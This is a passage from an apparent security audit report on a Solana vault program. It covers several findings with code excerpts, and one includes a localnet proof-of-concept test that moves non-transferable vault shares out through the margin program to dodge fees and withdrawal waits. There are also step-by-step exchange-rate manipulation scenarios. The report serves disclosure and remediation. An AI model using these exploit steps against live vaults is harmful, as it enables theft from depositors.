To address this finding, it is recommended to implement a fee withdrawal instruction that transfers `realised_performance_fees` and `uncollected_management_fees` from the `vault_reserve` to the `fee_receiver`.

Remediation Comment

SOLVED: The `Glow` team resolved this finding by implementing the recommended solution.

Remediation Hash

d31d6ce2523920b24828c3e1cab2fde9e691ce71

7.7 MARGIN_TRANSFER_DEPOSIT BYPASSES NON-TRANSFERABLE VAULT RESTRICTIONS

// LOW

Description

The `initialize_vault_margin` instruction registers the vault's share mint as collateral in the margin program by calling `configure_token` with `TokenKind::Collateral`. Once registered, margin account owners can deposit into non-transferable vaults through `deposit_to_vault`, receiving shares into margin-owned token accounts. Non-transferable vaults are designed to enforce performance fees via per-user watermarks tracked in VaultUser accounts

However, the margin program's `transfer_deposit` instruction allows margin account owners to transfer any collateral tokens, including vault shares, to arbitrary destination token accounts with no involvement from the vault program. As a result, users can bypass the vault's non-transferable share restrictions, breaking a core variant.

[programs/vault/src/instructions/margin/initialize_margin.rs](#)

 Copy Code

```
110 pub fn initialize_vault_margin_handler(  
111     ctx: Context<InitializeVaultMargin>,  
112     config: VaultMarginCollateralConfig,  
113 ) -> Result<()> {  
114     {  
115         let vault = ctx.accounts.vault.load()?;  
116         require!(  
117             vault.authority == ctx.accounts.airspace_authority.key(),  
118             crate::ErrorCode::UnauthorizedInvocation  
119         );  
120     }  
121  
122     glow_margin::cpi::configure_token(  
123         ctx.accounts.register_share_collateral_token(),  
124         TokenConfigUpdate {  
125             underlying_mint: ctx.accounts.underlying_mint.key(),  
126             underlying_mint_token_program: *ctx.accounts.underlying_mint.to_account_info().owner,  
127             admin: TokenAdmin::Adapter(*ctx.program_id),  
128             token_kind: TokenKind::Collateral,  
129             value_modifier: ctx.accounts.underlying_token_config.value_modifier,  
130             max_staleness: config.collateral_max_staleness,  
131             token_features: config.collateral_token_features,  
132         },  
133     )  
134 }
```

Step-By-Step Example

1. User creates a regular margin account (no DENY constraints)
2. User registers the vault's share mint as a position via `register_position`
3. User deposits underlying tokens into the non-transferable vault through `adapter_invoke` wrapping `deposit_to_vault` and shares minted to margin-owned share ATA
4. User calls `transfer_deposit` on the margin program, setting source = margin's share ATA, destination = any external wallet ATA with the same share mint
5. Shares are now in the user's wallet, completely bypassing performance fees, withdrawal waiting periods, and the non-transferable invariant

6. The `VaultUser` watermark state still tracks the original shares as belonging to the margin account, creating a permanent accounting desync

Proof of Concept

 Copy Code

```
1  #[tokio::test(flavor = "multi_thread")]
2  #[cfg_attr(not(feature = "localnet"), serial_test::serial)]
3  async fn margin_share_leak_via_transfer_deposit() -> Result<()> {
4      let ctx = margin_test_context!("vault_margin_share_leak");
5
6      let authority = &ctx.airspace_authority;
7      let authority_pk = authority.pubkey();
8      let airspace = ctx.airspace_details.address;
9
10     // Fund the authority so it can pay rent for the vault accounts it creates.
11     send_and_confirm(
12         &ctx.rpc(),
13         &[solana_sdk::system_instruction::transfer(
14             &ctx.payer().pubkey(),
15             &authority_pk,
16             5 * LAMPORTS_PER_SOL,
17         )],
18         &[ctx.payer()],
19     )
20     .await?;
21     ctx.issue_permit(authority_pk).await?;
22
23     // =====
24     // Step 1: Register glow_vault as an adapter in the margin program
25     // =====
26     ctx.margin_config_ix()
27         .configure_adapter(glow_vault::ID, true)
28         .with_signer(authority)
29         .send_and_confirm(&ctx.rpc())
30         .await?;
31
32     // =====
33     // Step 2: Create a non-transferable vault with performance fees
34     // =====
35     let underlying_mint = ctx.tokens().create_token(6, None, None, false).await?;
36     let underlying_info = MintInfo::with_legacy(underlying_mint.address);
37
38     let vault_ix = VaultIxBuilder::new(
39         airspace,
40         underlying_info,
41         authority_pk,
42         46u8,
43         TokenPriceOracle::NoOracle,
44         glow_test_service::ID,
45     );
46
47     vault_ix
48         .create_vault(authority_pk)
49         .with_signer(authority)
50         .send_and_confirm(&ctx.rpc())
51         .await?;
52
53     vault_ix
54         .configure_vault(VaultConfig {
55             performance_fee: Some(5000),
56             management_fee: Some(0),
57             vault_flags: Some(0b00000111),
58             deposit_limit: Some(u64::MAX),
59             withdrawal_limit: Some(u64::MAX),
60             withdrawal_waiting_period: Some(86400),
61             vault_name: Some(*b"margin_share_leak_____"),
62             oracle: None,
63             minimum_deposit: Some(1_000),
64             minimum_shares_dust_threshold: Some(0),
65             ..Default::default()
66         })
```

```

67     }
68     .with_signer(authority)
69     .send_and_confirm(&ctx.rpc())
70     .await?;
71
72     println!("✓ Vault created: 50% perf fee, 1-day withdrawal wait, non-transferable shares");
73
74     // =====
75     // Step 3: Register underlying mint token config in margin program
76     // =====
77     ctx.margin_client()
78         .configure_token_deposits(
79             underlying_info,
80             Some(&TokenDepositsConfig {
81                 oracle: TokenPriceOracle::NoOracle,
82                 collateral_weight: 100,
83                 max_staleness: 0,
84                 token_features: TokenFeatures::default(),
85             }),
86         )
87         .await?;
88
89     // =====
90     // Step 4: Register vault share mint as margin collateral
91     // NOTE: collateral_token_features is EMPTY – no RESTRICTED flag!
92     // =====
93     let init_margin_ix = vault_ix.initialize_margin_collateral_config(
94         ctx.payer().pubkey(),
95         VaultMarginCollateralConfig {
96             collateral_max_staleness: 0,
97             collateral_token_features: TokenFeatures::empty(), // – THE BUG: no RESTRICTED
98         },
99     );
100     send_and_confirm(&ctx.rpc(), &[init_margin_ix], &[ctx.payer(), authority]).await?;
101
102     println!("✓ initialize_vault_margin: share mint registered with EMPTY token_features");
103
104     // =====
105     // Step 5: Create a user margin account
106     // =====
107     let user_wallet = ctx.create_wallet(10).await?;
108     let user_pk = user_wallet.pubkey();
109     ctx.issue_permit(user_pk).await?;
110
111     let margin_user = ctx
112         .margin_client()
113         .user(&user_wallet, 0, NetworkKind::Localnet)
114         .created(AccountFeatureFlags::default()) // no DENY_TRANSFERS
115         .await?;
116     let margin_account = *margin_user.address();
117
118     println!("✓ User margin account created: {margin_account}");
119
120     // =====
121     // Step 6: Set up token accounts for vault interaction
122     // =====
123     let setup_ixs = vault_ix.create_user_accounts(user_pk, margin_account, true);
124     send_and_confirm(&ctx.rpc(), &setup_ixs, &[&user_wallet]).await?;
125
126     // =====
127     // Step 7: Fund user and deposit underlying into margin account
128     // =====
129     let deposit_amount = 10_000_000u64; // 10 tokens (6 decimals)
130
131     let user_underlying_ata_ix = underlying_mint
132         .create_associated_token_account_idempotent(&user_pk, &ctx.payer().pubkey());
133     send_and_confirm(&ctx.rpc(), &[user_underlying_ata_ix], &[]).await?;
134     let user_underlying_ata = underlying_mint.associated_token_address(&user_pk);
135
136     let mint_to_user = anchor_spl::token::spl_token::instruction::mint_to(
137         &anchor_spl::token::ID,
138         &underlying_mint.address,
139         &user_underlying_ata,
140         &ctx.payer().pubkey(),
141         &[],
142         deposit_amount,
143     )?;
144     send_and_confirm(&ctx.rpc(), &[mint_to_user], &[ctx.payer()]).await?;

```

```

145 let margin_underlying_ata = underlying_mint.associated_token_address(&margin_account);
146
147 // Transfer underlying: wallet → margin
148 margin_user
149   .transfer_deposit(
150     underlying_info,
151     &user_pk,
152     &user_underlying_ata,
153     &margin_underlying_ata,
154     deposit_amount,
155   )
156   .await?;
157
158 println!("✓ Deposited {deposit_amount} underlying tokens into margin account");
159
160 // =====
161 // Step 8: Deposit into vault via adapter_invoke – shares go to margin
162 // =====
163 let deposit_ix = vault_ix.deposit(
164   &user_pk,
165   &margin_account,
166   Some(margin_account),
167   TokenChange::shift(deposit_amount),
168 );
169 adapter_invoke(airspace, user_pk, margin_account, deposit_ix)
170   .with_signer(&user_wallet)
171   .send_and_confirm(&ctx.rpc())
172   .await?;
173
174 // Verify shares were minted to margin's share ATA
175 let margin_share_ata = vault_ix.share_mint.associated_token_address(&margin_account);
176 let shares_in_margin = ctx.tokens().get_balance(&margin_share_ata).await?;
177 assert!(shares_in_margin > 0, "Shares should exist in margin account");
178 println!("✓ Vault deposit via adapter_invoke: {shares_in_margin} shares in margin");
179
180 // =====
181 // Step 9: Use transfer_deposit to transfers shares
182 //       This bypasses performance fees AND withdrawal waiting period
183 // =====
184
185 // Create an external wallet token account for the share mint
186 let external_share_account = ctx
187   .tokens()
188   .create_account(vault_ix.share_mint, &user_pk)
189   .await?;
190
191 // transfer_deposit: margin → external wallet
192 // This should NOT be allowed for non-transferable vault shares, but succeeds
193 // because token_features has no RESTRICTED flag.
194 margin_user
195   .transfer_deposit(
196     vault_ix.share_mint,
197     &margin_account,
198     &margin_share_ata,
199     &external_share_account,
200     shares_in_margin,
201   )
202   .await?;
203
204 // =====
205 // Verify exploit succeeded
206 // =====
207 let external_balance = ctx.tokens().get_balance(&external_share_account).await?;
208 let margin_balance_after = ctx.tokens().get_balance(&margin_share_ata).await?;
209
210 println!();
211 println!("=====");
212 println!("          MARGIN SHARE LEAK POC – RESULTS          ");
213 println!("=====");
214 println!();
215 println!("  Shares deposited to margin:      {shares_in_margin}");
216 println!("  Shares in margin after exploit:   {margin_balance_after}");
217 println!("  Shares in external wallet:       {external_balance}");
218 println!();
219 println!("  Vault performance_fee: 50%");
220 println!("  Vault withdrawal_waiting_period: 86400s (1 day)");
221 println!("=====");

```

```

223
224     assert_eq!(
225         external_balance, shares_in_margin,
226         "All shares should be exfiltrated to external wallet"
227     );
228     assert_eq!(
229         margin_balance_after, 0,
230         "Margin account should have zero shares remaining"
231     );
232
233     Ok(())
}

```

MARGIN SHARE LEAK POC – RESULTS

```

Shares deposited to margin:      100000000
Shares in margin after exploit:  0
Shares in external wallet:      100000000

```

```

Vault performance_fee: 50%
Vault withdrawal_waiting_period: 86400s (1 day)

```

```
test vault_margin_share_leak::margin_share_leak_via_transfer_deposit ... ok
```

BVSS

AO:S/AC:L/AX:L/R:N/S:U/C:N/A:N/I:C/D:C/Y:N (2.5)

Recommendation

To address this finding, it is recommended to require **DENY_TRANSFERS** constraint on the margin account interacting with the Non-Transferable vault.

Remediation Comment

SOLVED: The **Glow** team resolved this finding by entirely removing the margin vault integration. Full margin vault integration may be added in future releases.

Remediation Hash

b3cdc472f04b7be372e676aba9a3e53a7619ff3c

7.8 MISSING WALLET_USD_VALUE VALIDATION ENABLES NAV MANIPULATION

// LOW

Description

The `update_operator_wallet_position` instruction allows either the operator admin or the oracle authority to submit a `wallet_usd_value` parameter that directly rebases `vault.deposit_tokens` via `update_vault`. This is called during normal vault operations to report the USD value of tokens held in the operator's external wallet.

However, the instruction performs no on-chain validation on the magnitude of `wallet_usd_value`: no range check, maximum deviation from the previous value or absolute cap. A single incorrect or malicious submission whether from an operational error, a compromised key, or intentional manipulation immediately corrupts the vault's exchange rate with no on-chain safeguard.

Depending on the direction of the error, this produces three distinct impacts:

- **Undervaluation (`wallet_usd_value` → 0 or too low):** Deflates the exchange rate. An opportunistic depositor can deposit at the artificially low share price and later withdraw at the real rate, extracting value from existing depositors. In extreme undervaluation the `update_vault_balances` will revert, bricking the vault entirely until the valuation is corrected.
- **Overvaluation (`wallet_usd_value` → too high):** Inflates the exchange rate. An existing depositor (or the operator themselves) can withdraw at an artificially high share price. Since the vault reserve does not actually hold the inflated token count, subsequent withdrawals by other depositors fail with insufficient funds.
- **Performance fee manipulation:** Temporarily inflating then deflating `wallet_usd_value` ratchets up users' watermarks via `accrue_user_performance_fees`, causing the protocol to charge fees on gains that never materialized.

[programs/vault/src/instructions/valuation/update_operator_wallet_position.rs](#)

 Copy Code

```
88 pub fn update_operator_wallet_position_handler(
89     ctx: Context<UpdateOperatorWalletPosition>,
90     wallet_usd_value: Number128,
91 ) -> Result<> {
92     let clock = Clock::get()?;
93
94     let vault = &mut ctx.accounts.vault.load_mut()?;
95
96     let price_info = PriceChangeInfo::try_from_oracle_accounts(
97         &ctx.accounts.price_oracle,
98         ctx.accounts.redemption_quote_oracle.as_ref(),
99         &vault.vault_token_oracle(),
100         &clock,
101     )?;
102
103     let price = price_info
104         .to_price_info(clock.unix_timestamp)
105         .to_number128()?;
106
107     let operator = &mut ctx.accounts.operator.load_mut()?;
108     let operator_admin = operator.admin;
109
```

```

110 // Verify signer's permissions
111 let authority = ctx.accounts.authority.key();
112 let is_operator_admin = operator_admin == authority;
113 let is_oracle_authority = vault.oracle_authority == authority;
114 require!(
115     is_operator_admin || is_oracle_authority,
116     ErrorCode::UnauthorizedVaultOracleAuthority
117 );
118 if is_operator_admin {
119     let permit = ctx
120         .accounts
121         .operator_permit
122         .as_ref()
123         .ok_or(ErrorCode::InsufficientPermissions)?;
124     permit.validate(vault.airspace, authority, Permissions::OPERATE_VAULTS)?;
125 }
126
127 operator.update_wallet_valuation(
128     operator_admin,
129     wallet_usd_value,
130     price,
131     clock.unix_timestamp,
132     vault.underlying_mint_exponent,
133 )?;
134
135 vault.update_vault(
136     operator,
137     &mut ctx.accounts.share_mint,
138     &mut ctx.accounts.vault_reserve,
139     clock.unix_timestamp,
140 )?;
141
142 emit!(WalletPositionUpdated {
143     vault: ctx.accounts.vault.key(),
144     operator: ctx.accounts.operator.key(),
145     updater: authority,
146     wallet_usd_value,
147     timestamp: clock.unix_timestamp,
148 });
149
150 Ok(())
151 }

```

programs/vault/src/state/operator_position.rs

 Copy Code

```

144 pub fn update_wallet_valuation(
145     &mut self,
146     usd_value: Number128,
147     usd_to_underlying_price: Number128,
148     timestamp: i64,
149     underlying_mint_exponent: i8,
150 ) -> Result<u64> {
151     // We can only value wallet positions
152     if self.destination_kind != PositionDestinationKind::WALLET {
153         return Err(ErrorCode::InvalidPositionDestination.into());
154     }
155
156     self.operator_tokens = usd_value
157         .safe_div(usd_to_underlying_price)?
158         .as_u64(underlying_mint_exponent);
159     self.last_update_ts = timestamp;
160     self.usd_value = usd_value;
161
162     Ok(self.operator_tokens)
163 }

```

Recommendation

To address this finding, it is recommended to whitelist strategies that can be evaluated on-chain for correct and predictable valuations.

Remediation Comment

RISK ACCEPTED: The **Glow** team accepted the risk and added the following note: The Blueprint team acknowledges the existence of this limitation. The team currently relies on off-chain validation when updating operator funds, as well as monitoring. On-chain restrictions will be added in future releases.

7.9 INSTANT LIQUIDATION DOES NOT RELEASE RESERVED WITHDRAWAL AMOUNTS

// LOW

Description

The `initiate_transferable_vault_withdrawal` instruction allows users to request a withdrawal from the vault. When `FREEZE_WITHDRAWAL_YIELD` flag is active, the instruction increments both `vault.reserved_withdrawal_shares` and `vault.reserved_withdrawal_tokens` to exclude the frozen withdrawal from the active exchange rate calculation. These pending withdrawals can later be resolved through execution or cancellation, both of which correctly decrement the reserved fields. Alternatively, the `margin_instant_vault_liquidation_handler` instruction can consume frozen pending withdrawals as part of liquidating a margin account, clearing the withdrawal slots from the user's account.

However, the `margin_instant_vault_liquidation_handler` clears frozen pending withdrawal slots via `consume_pending_withdrawals` without releasing the corresponding reservation from the vault. This leaves `reserved_withdrawal_shares` and `reserved_withdrawal_tokens` permanently inflated. As a result, every subsequent `update_vault_balances` call over subtracts from both `deposit_shares` and `deposit_tokens`, causing the vault to report a lower exchange rate than reality. This harms existing depositors in two ways:

1. They receive fewer tokens than their shares are worth on withdrawal
2. New depositors entering at the deflated rate receive more shares per token than they should, further diluting existing holders

The withdrawal path correctly subtracts `reserved_withdrawal_tokens` and `reserved_withdrawal_shares`

1. [programs/vault/src/instructions/user/initiate_transferable_withdrawal.rs](#)
2. [programs/vault/src/instructions/user/initiate_transferable_withdrawal_from_custody.rs](#)

```
172     let pending_assets = if is_frozen && tokens_to_withdraw > 0 {
173         let vault = &mut ctx.accounts.vault.load_mut()?;
174         vault.reserved_withdrawal_tokens = vault
175             .reserved_withdrawal_tokens
176             .checked_add(tokens_to_withdraw)
177             .ok_or(crate::ErrorCode::Overflow)?;
178         vault.reserved_withdrawal_shares = vault
179             .reserved_withdrawal_shares
180             .checked_add(shares)
181             .ok_or(crate::ErrorCode::Overflow)?;
182         tokens_to_withdraw
183     } else {
184         0
185     };
```

 Copy Code

Liquidation consumes the pending slot but never decrements the reservation.

[programs/vault/src/instructions/margin/margin_instant_liquidation.rs](#)

```

362 fn consume_pending_withdrawals(
363     pending_withdrawals: &mut PendingWithdrawals,
364     mut shares_to_consume: u64,
365 ) -> Result<()> {
366     if shares_to_consume == 0 {
367         return Ok(());
368     }
369
370     for pending in pending_withdrawals.withdrawals.iter_mut() {
371         if shares_to_consume == 0 {
372             break;
373         }
374
375         if pending.pending_shares == 0 {
376             continue;
377         }
378
379         if shares_to_consume >= pending.pending_shares {
380             shares_to_consume = shares_to_consume
381                 .checked_sub(pending.pending_shares)
382                 .ok_or(crate::ErrorCode::Underflow)?;
383             pending_withdrawals.total_pending_shares = pending_withdrawals
384                 .total_pending_shares
385                 .checked_sub(pending.pending_shares)
386                 .ok_or(crate::ErrorCode::Underflow)?;
387             pending_withdrawals.total_pending_assets = pending_withdrawals
388                 .total_pending_assets
389                 .checked_sub(pending.pending_assets)
390                 .ok_or(crate::ErrorCode::Underflow)?;
391
392             pending.pending_shares = 0;
393             pending.pending_assets = 0;
394             pending.withdrawal_request_timestamp = 0;
395             pending.withdrawal_waiting_period = 0;
396         } else {
397             let shares_consumed = shares_to_consume;
398             shares_to_consume = 0;
399
400             let consumed_assets = Number128::from_decimal(pending.pending_assets, 0)
401                 .safe_mul(Number128::from_decimal(shares_consumed, 0))?
402                 .safe_div(Number128::from_decimal(pending.pending_shares, 0))?
403                 .as_u64(0)
404                 .min(pending.pending_assets);
405
406             pending.pending_shares = pending
407                 .pending_shares
408                 .checked_sub(shares_consumed)
409                 .ok_or(crate::ErrorCode::Underflow)?;
410             pending.pending_assets = pending
411                 .pending_assets
412                 .checked_sub(consumed_assets)
413                 .ok_or(crate::ErrorCode::Underflow)?;
414
415             pending_withdrawals.total_pending_shares = pending_withdrawals
416                 .total_pending_shares
417                 .checked_sub(shares_consumed)
418                 .ok_or(crate::ErrorCode::Underflow)?;
419             pending_withdrawals.total_pending_assets = pending_withdrawals
420                 .total_pending_assets
421                 .checked_sub(consumed_assets)
422                 .ok_or(crate::ErrorCode::Underflow)?;
423         }
424     }
425
426     require!(shares_to_consume == 0, crate::ErrorCode::InvalidAmount);
427
428     pending_withdrawals.update_earliest_withdrawal_timestamp();
429     Ok(())
430 }

```

The `update_vault_balances` subtracts the stale reserved values, permanently understating the pool.
[programs/vault/src/state/vault.rs](#)

```

349 pub fn update_vault<'info>(<
350     &mut self,
351     operator: &VaultOperator,
352     share_mint: &mut InterfaceAccount<'info, Mint>,
353     vault_reserve: &mut InterfaceAccount<'info, TokenAccount>,
354     timestamp: i64,
355 ) -> Result<()> {
356     require!(
357         self.vault_reserve == vault_reserve.key(),
358         crate::ErrorCode::InvalidAccount
359     );
360     require!(
361         self.share_mint == share_mint.key(),
362         crate::ErrorCode::InvalidAccount
363     );
364
365     let (operator_tokens, _) = operator.operator_token_balance();
366     self.operator_tokens = operator_tokens;
367     if operator_tokens > 0 {
368         // Validate each position individually against its type-specific freshness threshold
369         operator.validate_all_positions_fresh(timestamp)?;
370     }
371     // Per-position freshness is validated above; set timestamp to now
372     // so token_to_share_exchange_rate's MAX_VAULT_VALUATION_SECONDS check
373     // passes when deposit follows immediately after update_vault_balances.
374     self.last_update_timestamp = timestamp;
375
376     // Refresh token accounts
377     share_mint.reload()?;
378     vault_reserve.reload()?;
379
380     // Update token balances
381     // Exclude reserved amounts so that frozen pending withdrawals are not counted
382     // in the exchange rate seen by remaining depositors.
383     self.deposit_shares = share_mint
384         .supply
385         .checked_sub(self.reserved_withdrawal_shares)
386         .ok_or(crate::ErrorCode::Underflow)?;
387     // Deposit tokens are the sum of idle tokens, operator tokens
388     // The vault reserve balance already includes any unwithdrawn uncollected fees, so we
389     // do not include them again.
390     let total_tokens = operator_tokens
391         .checked_add(vault_reserve.amount)
392         .ok_or(crate::ErrorCode::Overflow)?;
393     self.deposit_tokens = total_tokens
394         .checked_sub(self.reserved_withdrawal_tokens)
395         .ok_or(crate::ErrorCode::Underflow)?;
396
397     self accrue_management_fees(timestamp)?;
398
399     Ok(())
400 }

```

Step-By-Step Example:

1. Vault Configuration: `FREEZE_WITHDRAWAL_YIELD` active, supply = 100,000 shares, `vault_reserve` = 120,000 USDC, `operator_tokens` = 30,000. Rate = 150,000 / 100,000 = 1.5.
2. Alice initiates a frozen withdrawal of 50,000 shares. Vault sets `reserved_withdrawal_tokens` = 75,000, `reserved_withdrawal_shares` = 50,000. Active pool: `deposit_shares` = 50,000, `deposit_tokens` = 75,000, rate = 1.5.
3. Alice is liquidated. `consume_pending_withdrawals` clears the pending slot and burns 50,000 shares. Supply drops to 50,000. Net withdrawal tokens (say 70,000) are transferred out. Reserve drops to 50,000.
4. Stale state: `reserved_withdrawal_shares` = 50,000 (not decremented), `reserved_withdrawal_tokens` = 75,000 (not decremented).
5. Next `update_vault_balances`:

- $\text{deposit_shares} = \text{supply } (50,000) - \text{reserved } (50,000) = 0$, underflow revert, vault is bricked.

6. If supply were slightly larger (e.g., other depositors hold 10,000 more shares, supply = 60,000):

- $\text{deposit_shares} = 60,000 - 50,000 = 10,000$ (should be 60,000)
- $\text{deposit_tokens} = 80,000 - 75,000 = 5,000$ (should be 80,000)
- Reported rate = $5,000 / 10,000 = 0.5$ instead of the real $80,000 / 60,000 = 1.33$
- A new depositor depositing 10,000 USDC gets $10,000 / 0.5 = 20,000 \text{ shares}$, over-minted, diluting existing holders.

BVSS

AO:S/AC:L/AX:L/R:N/S:U/C:N/A:N/I:H/D:H/Y:H (2.3)

Recommendation

To address this finding, it is recommended to decrement `vault.reserved_withdrawal_shares` and `vault.reserved_withdrawal_tokens` in the liquidation handler when consuming frozen pending withdrawal slots, ensuring the vault's reserved amounts accurately reflect resolved withdrawals.

Remediation Comment

SOLVED: The `Glow` team resolved this finding by entirely removing the margin vault integration. Full margin vault integration may be added in future releases.

Remediation Hash

b3cdc472f04b7be372e676aba9a3e53a7619ff3c

7.10 MISSING WRITE_ADAPTER_RESULT IN LOCKED DEPOSIT AND CLAIM PATHS

// INFORMATIONAL

Description

The `deposit_to_transferable_vault` instruction transfers underlying tokens from the margin account's token account to the vault reserve regardless of whether the deposit is locked. It then calls `write_adapter_result` to inform the margin program of the balance changes.

However, the `write_adapter_result` call is guarded by `if depositor_is_margin && !is_locked`, meaning locked deposits never report the underlying decrease to the margin program. Similarly, `claim_deposited_shares` transfers shares from vault custody into the margin's share token account but does not call `write_adapter_result` at all, making it the only token-moving instruction in the vault program that omits this report.

The locked deposit path skips `write_adapter_result` for the underlying decrease.

[programs/vault/src/instructions/user/deposit_transferable.rs](#)

 Copy Code

```
316     if depositor_is_margin && !is_locked {
317         if let Some(result) = map_margin_account(
318             &ctx.accounts.depositor,
319             signer_seeds.airspace,
320             |margin_account| {
321                 write_adapter_result(
322                     margin_account,
323                     &AdapterResult {
324                         position_changes: vec![
325                             (
326                                 ctx.accounts.share_mint.key(),
327                                 vec![PositionChange::TokenChange(TokenBalanceChange {
328                                     mint: ctx.accounts.share_mint.key(),
329                                     tokens: deposit_shares,
330                                     change_cause: TokenBalanceChangeCause::ExternalIncrease,
331                                 })],
332                             ),
333                             (
334                                 ctx.accounts.underlying_mint.key(),
335                                 vec![PositionChange::TokenChange(TokenBalanceChange {
336                                     mint: ctx.accounts.underlying_mint.key(),
337                                     tokens: deposit_tokens,
338                                     change_cause: TokenBalanceChangeCause::ExternalDecrease,
339                                 })],
340                             ),
341                         ],
342                     },
343                 )
344             },
345         ) {
346             result?;
347         }
348     }
```

`claim_deposited_shares` transfers shares into the margin's token account without any `write_adapter_result` call.

[programs/vault/src/instructions/user/claim_deposited_shares.rs](#)

```

84 pub fn claim_deposited_shares_handler(
85     ctx: Context<ClaimDepositedShares>,
86     deposit_index: u8,
87 ) -> Result<()> {
88     let clock = Clock::get()?;
89     let index = deposit_index as usize;
90
91     let deposit = ctx
92         .accounts
93         .pending_deposits
94         .deposits
95         .get(index)
96         .ok_or(crate::ErrorCode::InvalidWithdrawIndex)?;
97
98     // Ensure slot is active
99     require!(
100         deposit.pending_shares > 0,
101         crate::ErrorCode::InvalidWithdrawIndex
102     );
103
104     // Enforce the delivery lock
105     let unlock_ts = deposit
106         .deposit_timestamp
107         .checked_add(deposit.delivery_waiting_period as i64)
108         .ok_or(crate::ErrorCode::Overflow)?;
109     require!(
110         clock.unix_timestamp >= unlock_ts,
111         crate::ErrorCode::DepositDeliveryLockNotPassed
112     );
113
114     let shares = deposit.pending_shares;
115
116     let vault = ctx.accounts.vault.load()?;
117     let signer_seeds = vault.signer_seeds_owned();
118     drop(vault);
119
120     let signer_arr = signer_seeds.as_slice();
121     let seeds: [&[u8]]; 1 = [&signer_arr];
122
123     let decimals = ctx.accounts.share_mint.decimals;
124
125     tokens::transfer_tokens(
126         ctx.accounts.token_program.to_account_info(),
127         ctx.accounts.share_mint.to_account_info(),
128         ctx.accounts
129             .vault_pending_deposits_custody
130             .to_account_info(),
131         ctx.accounts.share_token_account.to_account_info(),
132         ctx.accounts.vault.to_account_info(),
133         decimals,
134         shares,
135         Some(&seeds),
136     )?;
137
138     ctx.accounts.pending_deposits.make_empty(index)?;
139
140     emit!(events::ClaimDepositedShares {
141         depositor: ctx.accounts.depositor.key(),
142         vault: ctx.accounts.vault.key(),
143         share_mint: ctx.accounts.share_mint.key(),
144         shares_claimed: shares,
145         deposit_index,
146     });
147
148     Ok(())
149 }

```

Recommendation

To address this finding, it is recommended to report an `ExternalDecrease` for the underlying mint in the locked branch of `deposit_to_transferable_vault` and to add a `write_adapter_result` call in `claim_deposited_shares` that reports an `ExternalIncrease` for the share mint when the depositor is a margin account.

Remediation Comment

SOLVED: The `Glow` team resolved this finding by entirely removing the margin vault integration. Full margin vault integration may be added in future releases.

Remediation Hash

b3cdc472f04b7be372e676aba9a3e53a7619ff3c

7.11 SEVERAL AREAS OF THE VAULT PROGRAM CAN BE IMPROVED

// INFORMATIONAL

Description

Several code quality issues were identified across the vault program.

Duplicate Compile-Time Size Assertion

The same assertion appears twice in the code. The duplication is redundant and creates a maintenance burden. This can be safely removed.

[programs/vault/src/state/operator.rs](#)

 Copy Code

```
44 | const _: () = assert!(std::mem::size_of::<VaultOperator>() == 448);
45 |
46 | impl Default for VaultOperator {
47 |     // ...
48 | }
49 |
50 | const _: () = assert!(std::mem::size_of::<VaultOperator>() == 448); // duplicate
```

Incorrect Error Code For Deposit Delivery Lock Validation

The `deposit_delivery_lock_period` and `deposit_redemption_lock_period` validations use `ErrorCode::InvalidWithdrawalWaitingPeriod` for deposit-related parameters, causing confusing error messages for clients.

[programs/vault/src/instructions/admin/configure_vault.rs](#)

 Copy Code

```
191 | if let Some(delivery) = config.deposit_delivery_lock_period {
192 |     require!(
193 |         delivery >= 0,
194 |         crate::ErrorCode::InvalidWithdrawalWaitingPeriod // deposit uses withdrawal error
195 |     );
196 |     require!(
197 |         delivery <= VAULT_WITHDRAWAL_WAITING_PERIOD_MAX_SECONDS,
198 |         crate::ErrorCode::InvalidWithdrawalWaitingPeriod // deposit uses withdrawal error
199 |     );
200 |     v.deposit_delivery_lock_period = delivery;
201 | }
202 | if let Some(redemption) = config.deposit_redemption_lock_period {
203 |     require!(
204 |         redemption >= 0,
205 |         crate::ErrorCode::InvalidWithdrawalWaitingPeriod // deposit uses withdrawal error
206 |     );
207 |     v.deposit_redemption_lock_period = redemption;
208 | }
```

Transferability Toggle Check Needs Additional Validation

The `SHARES_TRANSFERABLE` flag change guard checks `v.deposit_shares == 0` to ensure the vault is empty before allowing a transferability toggle. However, `deposit_shares` alone may not fully represent the vault's state additional checks on the share mint supply and reserved fields would harden this validation against edge cases where the vault appears empty but outstanding commitments still exist.

[programs/vault/src/instructions/admin/configure_vault.rs](#)

 Copy Code

```
106 let transferable_changed = vault_flags.contains(VaultFeatureFlags::SHARES_TRANSFERABLE)
107 != v.flags.contains(VaultFeatureFlags::SHARES_TRANSFERABLE);
108 if transferable_changed {
109     require!(
110         v.deposit_shares == 0,
111         crate::ErrorCode::VaultPermissionDenied
112     );
113 }
114
115 v.flags = vault_flags;
```

Close Instructions Do Not Prevent Receiver Being The Closed Account

The `close_vault_pending_withdrawal` and `close_pending_deposits` instructions accept any `receiver` for rent reclamation without verifying it is not the account being closed. If the same address is passed, Anchor's close logic becomes a no-op.

[programs/vault/src/instructions/user/close_pending_withdrawal.rs](#)

 Copy Code

```
13 /// Account receiving reclaimed rent lamports once the PDA is closed
14 #[account(mut)]
15 pub receiver: AccountInfo<'info>,
16
17 #[account(
18     mut,
19     close = receiver,
20     seeds = [VAULT_PENDING_WITHDRAWALS_SEED, vault.key().as_ref(), withdrawer.key().as_ref()],
21     bump,
22     constraint = pending_withdrawals.vault == vault.key() @ crate::ErrorCode::InvalidAccount,
23     constraint = (pending_withdrawals.owner == withdrawer.key()
24         || pending_withdrawals.margin_account == withdrawer.key())
25         @ crate::ErrorCode::InvalidAccount,
26     constraint = (pending_withdrawals.total_pending_assets == 0
27         && pending_withdrawals.total_pending_shares == 0)
28         @ crate::ErrorCode::AccountShouldBeEmpty
29     // Missing: constraint = receiver.key() != pending_withdrawals.key()
30 )]
31 pub pending_withdrawals: Box<Account<'info>, PendingWithdrawals>>,
```

Misleading Safety Comment On UpdateVaultBalances

The comment states the instruction is access-controlled, but it is actually permissionless and no authority or signer check exists in the handler. The comment should be updated accordingly.

[programs/vault/src/instructions/valuation/update_vault_balances.rs](#)

 Copy Code

```
26 | #[derive(Accounts)]
27 | pub struct UpdateVaultBalances<'info> {
28 |     /// CHECK: the signer can either be the vault authority or the vault operator,
29 |     /// checked in the instruction
30 |     #[account(mut)]
31 |     pub vault: AccountLoader<'info, Vault>,
32 |     // No Signer constraint. No authority check in handler.
33 |     // The instruction is actually permissionless.
34 | }
```

BVSS

[AO:A/AC:L/AX:L/R:F/S:U/C:N/A:N/I:N/D:N/Y:N \(0.0\)](#)

Recommendation

To address these findings, it is recommended to:

1. Remove the duplicate size assertion
2. Introduce a dedicated error code for deposit lock validation
